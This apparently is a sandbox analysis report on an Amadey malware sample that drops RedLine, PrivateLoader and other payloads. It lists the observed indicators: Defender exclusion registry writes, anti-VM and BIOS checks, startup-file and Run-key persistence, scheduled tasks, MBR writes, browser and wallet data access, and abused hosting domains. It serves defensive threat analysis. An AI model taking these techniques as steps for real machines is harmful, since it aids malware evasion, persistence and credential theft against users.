amadey | 33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	HqA55f547cg1gL6v7PJmBsf8.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0005000000019d59-419.dat	family_redline
behavioral1/memory/1932-429-0x0000000000A80000-0x0000000000AD0000-memory.dmp	family_redline

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\voItHROCU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\voItHROCU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZzJFgnUaheUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\efSuucJNImPU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MlEwZvbgpCGVQFZq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZzJFgnUaheUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MlEwZvbgpCGVQFZq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\efSuucJNImPU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gWMsjtYByovYC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gWMsjtYByovYC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WMmUhsrLoeNTYuVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WMmUhsrLoeNTYuVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MlEwZvbgpCGVQFZq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MlEwZvbgpCGVQFZq = "0"	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
114	3012	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2116	powershell.exe
2484	powershell.exe
320	powershell.exe
2880	powershell.exe
1960	powershell.exe
1104	powershell.EXE
1704	powershell.exe
2188	powershell.exe
1200	powershell.exe
1960	powershell.exe
2736	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\International\Geo\Nation	360TS_Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\International\Geo\Nation	eKfotrz.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\l3kJrlRzf5aYNgrU71rvffbY.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3Z7bJqOm2oNNKv5MSoWa25Bi.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\skcmwZhYKBmYgyWqHjdI0dGp.bat	regsvcs.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DE3j0EMWRG4geykGf9BicXJx.bat	regsvcs.exe

Executes dropped EXE 27 IoCs

pid	Process
2596	axplong.exe
792	file300un.exe
1248	gold.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
2700	HqA55f547cg1gL6v7PJmBsf8.exe
800	iw2rdwuO01Y7ysK806SnpS14.exe
672	Install.exe
2132	Install.exe
940	judit.exe
1932	redline123123.exe
1580	stub.exe
1396	upd.exe
1064	lumma123.exe
2332	EByWAxd.exe
1988	NewR.exe
1976	FirstZ.exe
1628	NewR.exe
1252	eKfotrz.exe
464	Process not Found
2580	reakuqnanrkn.exe
1640	setup222.exe
1472	whiteheroin.exe
2164	setup222.exe
272	360TS_Setup.exe
2580	360TS_Setup.exe
768	taskmanager.exe
2696	NewR.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Wine	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
Key opened	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Wine	axplong.exe

Loads dropped DLL 64 IoCs

pid	Process
2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
2596	axplong.exe
2596	axplong.exe
2596	axplong.exe
2280	regsvcs.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
2280	regsvcs.exe
2280	regsvcs.exe
800	iw2rdwuO01Y7ysK806SnpS14.exe
800	iw2rdwuO01Y7ysK806SnpS14.exe
800	iw2rdwuO01Y7ysK806SnpS14.exe
800	iw2rdwuO01Y7ysK806SnpS14.exe
672	Install.exe
672	Install.exe
672	Install.exe
672	Install.exe
2132	Install.exe
2132	Install.exe
2132	Install.exe
2596	axplong.exe
2596	axplong.exe
940	judit.exe
1580	stub.exe
2596	axplong.exe
2596	axplong.exe
2596	axplong.exe
2596	axplong.exe
1288	WerFault.exe
1288	WerFault.exe
1288	WerFault.exe
1304	WerFault.exe
1304	WerFault.exe
2596	axplong.exe
1304	WerFault.exe
1988	NewR.exe
1988	NewR.exe
1200	WerFault.exe
1200	WerFault.exe
1200	WerFault.exe
464	Process not Found
2596	axplong.exe
2596	axplong.exe
1472	whiteheroin.exe
1640	setup222.exe
1256	Process not Found
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
1712	QpVB2zLMp5uymu8SyDWvJowq.exe
1256	Process not Found
1256	Process not Found
272	360TS_Setup.exe
272	360TS_Setup.exe
2580	360TS_Setup.exe
2580	360TS_Setup.exe
3012	rundll32.exe
3012	rundll32.exe
3012	rundll32.exe
3012	rundll32.exe
2776	WerFault.exe
2776	WerFault.exe
2776	WerFault.exe
2776	WerFault.exe
2776	WerFault.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\file300un = "C:\\Users\\Admin\\file300un.exe"	file300un.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	eKfotrz.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	eKfotrz.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
80	pastebin.com
6	pastebin.com
9	pastebin.com
48	iplogger.com
49	iplogger.com
79	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
52	api.myip.com
53	api.myip.com
58	ipinfo.io
59	ipinfo.io

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	QpVB2zLMp5uymu8SyDWvJowq.exe
File opened for modification	\??\PhysicalDrive0	360TS_Setup.exe

Drops file in System32 directory 31 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	EByWAxd.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	eKfotrz.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	HqA55f547cg1gL6v7PJmBsf8.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	EByWAxd.exe
File opened for modification	C:\Windows\system32\MRT.exe	FirstZ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	eKfotrz.exe
File opened for modification	C:\Windows\System32\GroupPolicy	HqA55f547cg1gL6v7PJmBsf8.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	HqA55f547cg1gL6v7PJmBsf8.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	HqA55f547cg1gL6v7PJmBsf8.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	eKfotrz.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_0E84AD23AC2E74B30DEF739614C7EB94	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_89FBEB9EEBFF8AABF1EBFA20B87AFE7E	eKfotrz.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_95776108E5303B05527E9B63C6628F47	eKfotrz.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2876	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
2596	axplong.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 792 set thread context of 2280	792	file300un.exe	34
PID 2580 set thread context of 2260	2580	reakuqnanrkn.exe	303
PID 2580 set thread context of 1364	2580	reakuqnanrkn.exe	308

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\filemon\AVLib.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\hi\safemon\wdk.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\safemon\wdk.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\ipc\appmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pt\ipc\360netr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\de\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pt\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\fr\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\FileSmasher.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\safemon\cuconfig.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\cef\2623\cef.pak	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\newui\themes\default\datashield_theme.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pt\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\de\ipc\360netr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\safemon\bp.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\newui\themes\default\desktopplus_theme.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\DriverUpdater.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\safemon\wd.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\360SafeWallet.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\BrowserProtection.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\FirstPriorityUpdate.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\TraceClean.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\360ipc.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\cef\2623\locales\en-US.pak	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\safemon\webprotection_firefox.xpi	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\360NetRepair.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\cleancfg.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\en\deepscan\dsr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\en\safemon\bp.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\gWMsjtYByovYC\GnyeHAU.dll	eKfotrz.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\ipc\360ipc.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\vi\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\dsark_win10.cat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\ipc\appmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\ru\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\safemon\bp.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-CN\safemon\drvmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-TW\deepscan\dsr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\ZzJFgnUaheUn\jZnFmgQ.dll	eKfotrz.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pl\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-CN\ipc\appmon.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\ipc\clsid.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\tr\safemon\CameraProtect\CameraGuard\bkg\pic_01.jpg	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\tr\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\BlackMirror.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\act.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\softmgr\AdvUtils.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\tools\nodes\FileProtector.xml	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\softmgr\optconfig.ini	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\pt\deepscan\dsr.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\es\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\ipc\360netd.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\it\deepscan\dsconz.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\zh-CN\deepscan\art.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\i18n\es\safemon\bp.dat	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\cef\2623\cef_200_percent.pak	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\Utils\DesktopPlus\bell.wav	360TS_Setup.exe
File created	C:\Program Files (x86)\360\Total Security\config\newui\themes\default\360searchlite_theme.xml	360TS_Setup.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Tasks\ceuxZEzDPWMxlYwWu.job	schtasks.exe
File created	C:\Windows\Tasks\axplong.job	33714ad5a998983029e956d202963a3c2e05c9671033d2b4c50d6e5ebdfcdb42.exe
File created	C:\Windows\Tasks\bjPRdWxZxSSObMFEvg.job	schtasks.exe
File created	C:\Windows\Tasks\IzaEPSfYdSgyWPrQW.job	schtasks.exe
File created	C:\Windows\Tasks\HsFIJVFBpaOiSlL.job	schtasks.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1864	sc.exe
2016	sc.exe
2220	sc.exe
2836	sc.exe
2536	sc.exe
1104	sc.exe
2972	sc.exe
2464	sc.exe
1372	sc.exe
1112	sc.exe
2264	sc.exe
1072	sc.exe
936	sc.exe
472	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
1288	1396	WerFault.exe	74
1304	1064	WerFault.exe	81
1200	2332	WerFault.exe	82
2776	2132	WerFault.exe	43
2264	1252	WerFault.exe	218

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1408	schtasks.exe
2656	schtasks.exe
2036	schtasks.exe
2856	schtasks.exe
1544	schtasks.exe
532	schtasks.exe
1784	schtasks.exe
2444	schtasks.exe
1188	schtasks.exe
1648	schtasks.exe
2016	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{FA1BBD2F-E8B6-4DD1-8D1E-6567BD2EE38B}\06-06-a1-c9-6d-1e	eKfotrz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
